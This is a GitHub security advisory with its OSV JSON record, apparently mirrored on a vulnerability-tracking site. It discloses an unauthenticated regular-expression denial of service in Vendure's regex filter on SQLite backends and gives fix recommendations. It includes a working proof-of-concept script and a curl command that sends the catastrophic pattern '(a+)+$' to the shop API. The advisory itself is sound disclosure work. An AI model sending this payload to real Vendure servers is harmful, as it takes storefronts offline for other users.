GHSA-JGM3-QMP2-C4P7
Vulnerability from github – Published: 2026-09-17 14:49 – Updated: 2026-09-17 14:49Summary
[!IMPORTANT] Only instances running on the SQLite driver (better-sqlite3) are affected; SQLite is usually used in development/testing backend, so production deployments on PostgreSQL or MySQL/MariaDB are unaffected.
The StringOperators.regex filter exposed on the public Shop GraphQL API is evaluated inside the Node.js event loop via a synchronous SQLite user-defined function (UDF). Supplying a catastrophically backtracking pattern blocks the entire event loop, causing a complete denial of service with no authentication required.
Details
Vendure registers a JavaScript UDF so that SQLite can handle the REGEXP operator:
packages/core/src/service/helpers/list-query-builder/list-query-builder.ts lines 917–931
private registerSQLiteRegexpFunction() {
const regexpFn = (pattern: string, value: string) => {
const result = new RegExp(`${pattern}`, 'i').test(value); // user-controlled pattern
return result ? 1 : 0;
};
if (dbType === 'better-sqlite3') {
driver.databaseConnection.function('regexp', regexpFn);
}
if (dbType === 'sqljs') {
driver.databaseConnection.create_function('regexp', regexpFn);
}
}
The pattern argument is the raw value of StringOperators.regex submitted by the caller. No length limit, timeout, or safe-regex validation is applied before constructing new RegExp(pattern).
packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts lines 321–325
case 'regex':
return {
clause: getRegexpClause(fieldName, argIndex, dbType),
parameters: { [`arg${argIndex}`]: operand }, // operand = raw user input
};
The products resolver in packages/core/src/api/resolvers/shop/shop-products.resolver.ts carries no @Allow decorator, and the access control strategy treats an empty permission set as publicly accessible:
packages/core/src/config/auth/default-entity-access-control-strategy.ts lines 49–52
async canAccess(ctx: RequestContext, permissions: Permission[]): Promise<boolean> {
if (permissions.length === 0) {
return true; // no @Allow → public
}
...
}
The three conditions together — user-controlled regex, synchronous JS UDF on the event loop, unauthenticated access — create a complete unauthenticated DoS path.
Affected database drivers: better-sqlite3, sqljs.
MySQL/MariaDB and PostgreSQL delegate the pattern to the database engine (those engines have their own exposure characteristics but do not block the Node.js event loop).
PoC
Prerequisites: Node.js ≥ 18. No account, no server, no dependencies.
Step 1 — save the following as poc-redos.js:
// Exact code from list-query-builder.ts:918-919
const PATTERN = '(a+)+$';
const VALUE = 'a'.repeat(28) + 'b';
console.log('[*] pattern:', PATTERN, ' value:', VALUE);
console.log('[*] Starting (server would be unresponsive from this point)...');
const start = Date.now();
const result = new RegExp(`${PATTERN}`, 'i').test(VALUE);
console.log('[+] elapsed:', Date.now() - start, 'ms result:', result);
Step 2 — run it:
node poc-redos.js
Expected output (verified on Node.js v24.14.0):
[*] pattern: (a+)+$ value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab
[*] Starting (server would be unresponsive from this point)...
[+] elapsed: 19755 ms result: false
A 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop — the process cannot handle any other request for the entire duration.
Step 3 — GraphQL payload (against a running Vendure instance with better-sqlite3 or sqljs driver):
curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\\"(a+)+$\\\"}}}) { items { id } } }\"}" --max-time 60
No test account is needed. The products query is publicly accessible.
Impact
Vulnerability type: Regular Expression Denial of Service (ReDoS)
Who is impacted:
- Any Vendure deployment running with a better-sqlite3 or sqljs database driver (typical for development environments and single-server small deployments created via @vendure/create).
- Any unauthenticated internet user can trigger the attack — no credentials, no API key, no session.
- A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out (which may take tens of seconds to minutes depending on the host CPU and pattern chosen).
- Repeated requests constitute a sustained DoS requiring no more bandwidth than a single HTTP request per CPU-second.
Fix
-
Validate the regex before constructing it. Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g.
safe-regex2orrecheck) before passing them tonew RegExp(). -
Enforce a maximum pattern length. Reject
StringOperators.regexvalues exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer. -
Run the UDF in a worker thread. Move
regexpFnoff the main event loop by executing it in aworker_threadscontext with anAbortSignaltimeout so a hung regex cannot block the server. -
Require authentication for filtered list queries. Add
@Allow(Permission.Authenticated)toShopProductsResolver.products(and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.4"
},
"package": {
"ecosystem": "npm",
"name": "vendure/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63460"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T14:49:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n\u003e [!IMPORTANT] \n\u003e Only instances running on the SQLite driver (better-sqlite3) are affected; SQLite is usually used in development/testing backend, so production deployments on PostgreSQL or MySQL/MariaDB are unaffected.\n\nThe `StringOperators.regex` filter exposed on the public Shop GraphQL API is evaluated inside the Node.js event loop via a synchronous SQLite user-defined function (UDF). Supplying a catastrophically backtracking pattern blocks the entire event loop, causing a complete denial of service with no authentication required.\n\n---\n\n### Details\n\nVendure registers a JavaScript UDF so that SQLite can handle the `REGEXP` operator:\n\n**`packages/core/src/service/helpers/list-query-builder/list-query-builder.ts` lines 917\u2013931**\n```ts\nprivate registerSQLiteRegexpFunction() {\n const regexpFn = (pattern: string, value: string) =\u003e {\n const result = new RegExp(`${pattern}`, \u0027i\u0027).test(value); // user-controlled pattern\n return result ? 1 : 0;\n };\n if (dbType === \u0027better-sqlite3\u0027) {\n driver.databaseConnection.function(\u0027regexp\u0027, regexpFn);\n }\n if (dbType === \u0027sqljs\u0027) {\n driver.databaseConnection.create_function(\u0027regexp\u0027, regexpFn);\n }\n}\n```\n\nThe `pattern` argument is the raw value of `StringOperators.regex` submitted by the caller. No length limit, timeout, or safe-regex validation is applied before constructing `new RegExp(pattern)`.\n\n**`packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts` lines 321\u2013325**\n```ts\ncase \u0027regex\u0027:\n return {\n clause: getRegexpClause(fieldName, argIndex, dbType),\n parameters: { [`arg${argIndex}`]: operand }, // operand = raw user input\n };\n```\n\nThe `products` resolver in `packages/core/src/api/resolvers/shop/shop-products.resolver.ts` carries **no `@Allow` decorator**, and the access control strategy treats an empty permission set as publicly accessible:\n\n**`packages/core/src/config/auth/default-entity-access-control-strategy.ts` lines 49\u201352**\n```ts\nasync canAccess(ctx: RequestContext, permissions: Permission[]): Promise\u003cboolean\u003e {\n if (permissions.length === 0) {\n return true; // no @Allow \u2192 public\n }\n ...\n}\n```\n\nThe three conditions together \u2014 user-controlled regex, synchronous JS UDF on the event loop, unauthenticated access \u2014 create a complete unauthenticated DoS path.\n\nAffected database drivers: `better-sqlite3`, `sqljs`. \nMySQL/MariaDB and PostgreSQL delegate the pattern to the database engine (those engines have their own exposure characteristics but do not block the Node.js event loop).\n\n---\n\n### PoC\n\n\u003cimg width=\"1610\" height=\"458\" alt=\"image\" src=\"https://github.com/user-attachments/assets/327f3847-79d9-43e2-859e-47a753e61b2b\" /\u003e\n[poc.zip](https://github.com/user-attachments/files/28752976/poc.zip)\n[poc-redos.js](https://github.com/user-attachments/files/28753000/poc-redos.js)\n\n**Prerequisites:** Node.js \u2265 18. No account, no server, no dependencies.\n\n**Step 1 \u2014 save the following as `poc-redos.js`:**\n\n```js\n// Exact code from list-query-builder.ts:918-919\nconst PATTERN = \u0027(a+)+$\u0027;\nconst VALUE = \u0027a\u0027.repeat(28) + \u0027b\u0027;\nconsole.log(\u0027[*] pattern:\u0027, PATTERN, \u0027 value:\u0027, VALUE);\nconsole.log(\u0027[*] Starting (server would be unresponsive from this point)...\u0027);\nconst start = Date.now();\nconst result = new RegExp(`${PATTERN}`, \u0027i\u0027).test(VALUE);\nconsole.log(\u0027[+] elapsed:\u0027, Date.now() - start, \u0027ms result:\u0027, result);\n```\n\n**Step 2 \u2014 run it:**\n```cmd\nnode poc-redos.js\n```\n\n**Expected output (verified on Node.js v24.14.0):**\n```\n[*] pattern: (a+)+$ value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab\n[*] Starting (server would be unresponsive from this point)...\n[+] elapsed: 19755 ms result: false\n```\n\nA 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop \u2014 the process cannot handle any other request for the entire duration.\n\n**Step 3 \u2014 GraphQL payload (against a running Vendure instance with `better-sqlite3` or `sqljs` driver):**\n```cmd\ncurl -s -X POST http://localhost:3000/shop-api -H \"Content-Type: application/json\" -d \"{\\\"query\\\":\\\"{ products(options:{filter:{name:{regex:\\\\\\\"(a+)+$\\\\\\\"}}}) { items { id } } }\\\"}\" --max-time 60\n```\n\n*No test account is needed. The `products` query is publicly accessible.*\n\n---\n\n### Impact\n\n**Vulnerability type:** Regular Expression Denial of Service (ReDoS)\n\n**Who is impacted:**\n- Any Vendure deployment running with a `better-sqlite3` or `sqljs` database driver (typical for development environments and single-server small deployments created via `@vendure/create`).\n- Any unauthenticated internet user can trigger the attack \u2014 no credentials, no API key, no session.\n- A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out (which may take tens of seconds to minutes depending on the host CPU and pattern chosen).\n- Repeated requests constitute a sustained DoS requiring no more bandwidth than a single HTTP request per CPU-second.\n\n---\n\n### Fix\n\n1. **Validate the regex before constructing it.** Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g. `safe-regex2` or `recheck`) before passing them to `new RegExp()`.\n\n2. **Enforce a maximum pattern length.** Reject `StringOperators.regex` values exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer.\n\n3. **Run the UDF in a worker thread.** Move `regexpFn` off the main event loop by executing it in a `worker_threads` context with an `AbortSignal` timeout so a hung regex cannot block the server.\n\n4. **Require authentication for filtered list queries.** Add `@Allow(Permission.Authenticated)` to `ShopProductsResolver.products` (and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure.\n\n---",
"id": "GHSA-jgm3-qmp2-c4p7",
"modified": "2026-09-17T14:49:56Z",
"published": "2026-09-17T14:49:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vendurehq/vendure/security/advisories/GHSA-jgm3-qmp2-c4p7"
},
{
"type": "WEB",
"url": "https://github.com/vendurehq/vendure/commit/f74cbbb0b9a50b5b0131822835fe7ee9b71b42c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/vendurehq/vendure"
},
{
"type": "WEB",
"url": "https://github.com/vendurehq/vendure/releases/tag/v3.6.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Vendure: Unauthenticated ReDoS via `regex` filter on SQLite backends"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.